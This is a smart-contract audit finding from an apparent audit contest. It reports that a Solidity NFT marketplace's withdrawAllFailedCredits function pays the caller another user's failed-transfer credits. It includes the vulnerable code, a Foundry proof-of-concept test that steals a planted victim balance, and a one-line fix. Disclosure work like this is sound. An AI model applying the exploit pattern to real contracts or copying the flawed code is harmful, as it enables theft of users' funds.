Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Recipient Mismatch in `BidBeastsNFTMarket::withdrawAllFailedCredits` Allows Attackers to Steal Failed Credits from Users

Recipient Mismatch in BidBeastsNFTMarket::withdrawAllFailedCredits Allows Attackers to Steal Failed Credits from Users

Description

  • Normally, the function BidBeastsNFTMarket::withdrawAllFailedCredits should allow a user to withdraw their own failed transfer credits safely.

  • The issue is that the function accepts a _receiver address but sends the funds to msg.sender, resets failedTransferCredits[msg.sender] instead of _receiver, and does not verify that the caller is actually the intended _receiver. This mismatch enables an attacker to withdraw another user’s funds.

function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // incorrect key reset
@> (bool success,) = payable(msg.sender).call{value: amount}(""); // sends funds to caller instead of _receiver
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • This occurs whenever a victim has a positive failedTransferCredits balance and an attacker calls withdrawAllFailedCredits using the victim’s address. The function transfers the victim’s credits to the attacker and clears the wrong mapping entry.

Impact:

  • An attacker can steal funds from any user with failed transfer credits, resulting in unauthorized fund exfiltration.

  • As long as the _receiver’s mapping entry is not cleared, the attacker can repeatedly exploit this vulnerability until the contract’s balance is drained.

Proof of Concept

The exploit can be reproduced in a test environment:

  1. Inject a non-zero failedTransferCredits[victim] entry directly into the contract’s storage using Foundry’s vm.store (mapping located at slot 5).

  2. Fund the market contract to ensure it can pay out.

  3. Call withdrawAllFailedCredits(victim) from an attacker-controlled address.

Because the vulnerable function sends the stored credits to msg.sender and resets the wrong mapping key, the attacker receives the victim’s balance. The test verifies the attacker’s balance increases by failedCredit, demonstrating the exploit: unauthorized withdrawal of another user’s funds.

function test_anyone_can_withdraw_failed_credit(uint256 failedCredit, address attacker) public {
address victim = makeAddr("victim");
failedCredit = bound(failedCredit, 1 ether, 500 ether);
vm.deal(address(market), failedCredit);
// storing directly on failedTransferCredits mapping victim and failedCredit
// failedTransferCredits is at slot 5 after checking with `forge inspect BidBeastsNFTMarket storage-layout`
bytes32 mappedSlot = keccak256(abi.encode(victim, uint256(5)));
vm.store(address(market), mappedSlot, bytes32(uint256(failedCredit)));
assertEq(market.failedTransferCredits(victim), failedCredit);
uint256 attackerBalBefore = attacker.balance;
vm.prank(attacker);
market.withdrawAllFailedCredits(victim);
uint256 attackerBalAfter = attacker.balance;
assertEq(attackerBalAfter - attackerBalBefore, failedCredit);
}

Recommended Mitigation

To prevent this vulnerability, ensure that the caller is the intended recipient by verifying _receiver matches msg.sender before transferring funds.

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver);
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // incorrect key reset
(bool success,) = payable(msg.sender).call{value: amount}(""); // sends funds to caller instead of _receiver
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.